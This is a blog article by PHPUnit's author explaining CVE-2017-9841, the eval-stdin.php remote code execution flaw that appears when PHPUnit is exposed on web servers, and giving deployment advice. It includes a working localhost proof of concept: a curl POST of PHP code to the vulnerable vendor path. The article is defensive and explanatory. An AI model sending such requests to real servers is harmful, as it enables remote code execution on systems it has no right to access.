PHPUnit: A Security Risk?

Sebastian Bergmann |

One week before Christmas 2017, I received an email with the following subject: "A file from Sebastian Bergmann PHP Unit leads to total failure" (sic).

hacker

The sender of this email was the employee responsible for the operation of the online shop at a jeweler. In his e-mail he wrote, among other things, "[our hosting provider] closed our domain in the middle of Christmas sales" and further "a lot of business is lost here".

What happened? Is PHPUnit a security risk? Did I even try to hack the jeweler's online shop? In this article I would like to investigate these questions.

From the email I was able to conclude that the jeweler's online shop is based on Wordpress as well as the WooCommerce plugin for Wordpress and the Google Product Feed plugin for WooCommerce. One or more of these components was delivered together with (an outdated version of) PHPUnit, which contained the file eval-stdin.php. In the course of an automated scan for files that contain known security vulnerabilities such as CVE-2017-9841, the jeweler's hosting provider discovered the file eval-stdin.php, took the jeweler's host offline, and then informed the person responsible about this measure.

The jeweler's employee responsible for the online shop looked at the contents of the file eval-stdin.php. After all, the hosting provider had explicitly referred to this file. In this file he found the copyright header "This file is part of PHPUnit. (C) Sebastian Bergmann <sebastian@phpunit.de>" Then he wrote me his email. Believing that I was responsible for the file being on his web server.

The story of eval-stdin.php

The file eval-stdin.php was added to PHPUnit in November 2015 in order to be able to run tests in separate PHP processes even if the PHP debugger phpdbg is used instead of the regular command line interpreter (php).

eval-stdin.php originally only contained a single line of PHP code:

1
eval   ( '?>' .   \ file_get_contents ( 'php://input' ) ) ;

If the line of code shown above is executed by the PHP command line interpreter, it does exactly what you may have already guessed by reading the file's name: it executes PHP code that is read from the standard data stream for input (stdin). This execution of code that is read from stdin does not pose a security risk when PHPUnit is used in a development environment on the command line. And only there should PHPUnit be executed.

The PHPUnit documentation is clear on this:

PHPUnit is a framework for writing as well as a commandline tool for running tests. Writing and running tests is a development-time activity. There is no reason why PHPUnit should be installed on a webserver. If you upload PHPUnit to a webserver then your deployment process is broken. On a more general note, if your vendor directory is publicly accessible on your webserver then your deployment process is also broken. Please note that if you upload PHPUnit to a webserver “bad things” may happen. You have been warned.

If you make eval-stdin.php publicly accessible on a web server, this file can be used for a Remote Code Execution attack, since in this context php://input provides access to, for example, HTTP POST payload data that is sent from the HTTP client to the web server. On June 27, 2017, the entry CVE-2017-9841 for this attack vector was added to the Common Vulnerabilities and Exposures database.

But how can CVE-2017-9841 be exploited?

First we create a directory in which we work:

$ mkdir /tmp/CVE-2017-9841 $ cd /tmp/CVE-2017-9841

Now we install PHPUnit 5.6.2 using Composer:

$ composer require --dev phpunit/phpunit:5.6.2

PHPUnit 5.6.2, released on October 25, 2016, is the last version of PHPUnit which accesses php://input in eval-stdin.php.

Now we can use the web server built into the PHP command line interpreter to make the contents of our directory accessible via localhost:8080:

$ php -S localhost:8080 -t .

In another shell, we can finally send an HTTP POST request with PHP code as a payload:

$ curl --data "<?php print str_rot13('V pna erzbgryl rkrphgr CUC pbqr ba lbhe freire');" http://localhost:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

The output we get proves that remote code execution is possible:

I can remotely execute PHP code on your server

On November 13, 2016 the single line of code in eval-stdin.php was changed:

1
eval ( '?>'   .   \ file_get_contents ( 'php://stdin' ) ) ;

The change from php://input to php://stdin addressed a problem that is not relevant from a security perspective: tests that are supposed to be run in a separate PHP process were not run at all. But just because a code change is not motivated by a security problem does not mean that it does not have an impact on security aspects.

On December 10, 2019 I added an explicit safeguard to the script which allows the execution of eval-stdin.php only in the context of the command line:

1 2 3 4 5
if   ( \ PHP_SAPI   !==   'cli'   &&   \ PHP_SAPI   !==   'phpdbg' )   {
     exit ( 1 ) ;
}

eval ( '?>'   .   \ file_get_contents ( 'php://stdin' ) ) ;

I did not make this change because I was aware of a way to exploit the code as it was before this change for remote code execution. I only learned of this possibility later in a comment on the commit that changed the code as shown above.

The php://input stream allows access to an HTTP post request's payload regardless of how PHP is integrated with the web server. It does not matter whether PHP is loaded as a module in the Apache HTTPD or used by a web server such as nginx via FastCGI, for example.

An HTTP post payload can only be accessed via the php://stdin stream if PHP is used by the web server via CGI or FastCGI. I was not sure if php://stdin really behaves like this, so I reached out to PHP core developers. Joe Watkins and Christoph M. Becker were able to confirm that php://stdin behaves like this and that its implementation is based on the specifications for CGI and FastCGI, which mandate access to the request payload via the standard input stream.

In retrospect, you are always smarter and it would probably have made sense to limit the execution of eval-stdin.php to cli and phpdbg from the start. However, such a limitation should not be necessary at all, since there is no reason to run PHPUnit outside the context of the development environment and command line. Rather, it is irresponsible if PHPUnit is available in contexts other than those mentioned.

Late Consequences

I was contacted by the vendor of PrestaShop, an Open Source E-Commerce software, on January 6, 2020. They informed me that eval-stdin.php can be exploited for remote code execution when PHPUnit is publicly available on the web server and FastCGI is used to integrate PHP with that web server.

On January 7, 2020, a critical vulnerability in PrestaShop was made public. The root cause for this security vulnerability was the fact that PrestaShop was distributed with PHPUnit and therefore contained the eval-stdin.php script.

I investigated what it would take to remove eval-stdin.php from PHPUnit once and for all. I was surprised to learn that the file had not been used since July 2018.

It irks me that I did not notice that eval-stdin.php can be deleted back in July 2018. As of PHPUnit 7.5.20 and PHPUnit 8.5.2 , released on January 8, 2020, the file eval-stdin.php is finally no longer a part of PHPUnit.

And the moral of this story

Regardless of how PHP is integrated with a web server, for instance as a module for Apache HTTPD or via PHP-FPM with nginx, there are two important rules to be followed when deploying PHP applications:

  • The vendor directory managed by Composer must not be publicly accessible. It must therefore be located outside the so-called document root. Should that not be possible then public access to that directory must be prohibited using the web server's configuration.
  • A dependency such as PHPUnit, which is only required for working on the software but not for its operation, must not be present on a production system.

I feel pity for everyone who has installed a version of PHPUnit with a vulnerable eval-stdin.php file on their web server by installing PrestaShop or WooCommerce, for example.

However, I find it irresponsible and reckless if the vendors of such standard solutions, which have end users such as the jeweler mentioned at the beginning as their target audience, deliver their software with dependencies such as PHPUnit in their vendor directory and prompt the users to upload them to the document root of a public webserver.

About the author

Sebastian Bergmann

Sebastian Bergmann is the author of PHPUnit and sets the industry standard of quality assurance.